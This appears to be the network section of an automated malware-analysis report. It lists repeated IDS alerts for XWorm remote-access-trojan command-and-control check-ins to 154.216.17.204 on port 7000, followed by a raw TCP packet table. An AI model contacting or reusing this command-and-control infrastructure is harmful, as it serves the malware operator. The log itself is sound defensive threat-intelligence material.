2024-11-23T06:55:11.295363+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:11.415016+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:14.510686+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:14.512434+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:21.385475+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:21.388869+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:26.198011+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:26.209629+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:26.510324+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:26.512091+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:33.778789+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:33.805335+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:36.791728+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:36.797459+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:37.374941+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:37.377028+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:37.566777+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:37.568342+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:39.890249+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:42.308687+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:42.310215+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:45.427654+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:45.430696+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:47.447935+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:47.449465+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:47.639671+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:47.642580+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:52.713675+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:52.804576+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:52.905649+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:52.939724+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:54.533483+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:54.534957+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:03.136479+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:03.178768+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:03.479356+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:03.485149+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:03.671139+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:03.672705+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:04.309381+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:04.311164+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:08.870153+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:08.873537+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:09.882870+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:20.121092+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:20.123646+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:21.479571+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:21.485160+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:29.417645+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:29.421359+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:29.551996+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:29.554557+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:30.156827+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:30.158863+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:30.314471+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:30.474983+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:35.292416+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:35.297259+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:35.484283+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:35.489197+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:35.608785+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:35.613186+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:36.219641+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:36.221439+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:39.881934+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:40.529457+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:40.535041+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:41.110435+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:41.112746+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:41.304032+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:41.308753+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:49.542483+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:49.549271+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:50.995079+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:51.032890+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:51.214477+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:51.221250+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:51.346169+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:51.353250+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:01.558220+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:01.565277+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:01.782275+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:01.786907+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:03.295696+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:03.333284+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:06.990245+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:06.991663+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:07.182799+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:07.185407+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:09.881495+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:17.651562+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:17.653294+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:22.730114+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:22.788043+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:22.860209+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:22.907684+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:22.979999+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:23.027292+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:24.402355+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:24.466554+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:28.293555+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:28.295351+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:28.542724+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:28.544467+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:30.517097+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:30.518954+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.324270+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:33.382137+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.454222+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:33.503700+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.574013+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:33.629353+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.753370+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.817501+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:38.139859+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:38.149820+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:39.339406+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:39.344067+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:39.557833+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:39.561340+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:39.886200+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:40.142817+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:40.144013+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:41.365388+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:41.371439+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:42.482473+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:42.483359+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:43.135874+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:43.136664+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:45.323880+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:45.327380+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:59.624745+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:59.625632+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 06:53:51.196577072 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:51.316318989 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:51.316734076 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:51.805238962 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:51.924760103 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502358913 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502393961 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502407074 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502439022 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502449989 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502460957 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502475023 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502499104 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.502537012 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.502549887 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502562046 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502574921 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.502582073 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.502619028 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.622255087 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.622304916 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.622384071 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.694380999 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.694423914 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.694479942 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.696748972 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.696856022 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.696899891 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.705231905 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.705307007 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.705369949 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.713654995 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.713690996 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.713747978 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.722006083 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.722095966 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.722151995 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.730422974 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.730679989 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.730844975 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.738780022 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.738794088 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.738842010 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.747168064 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.747272968 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.747329950 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.755526066 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.755625010 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.755677938 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.763927937 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.764033079 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.764082909 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.772305965 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.772407055 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.772460938 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.886506081 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.886564016 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.886606932 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.888988018 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.889071941 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.889118910 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.895253897 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.895324945 CET	7000	49710	154.216.17.204	192.168.2.12
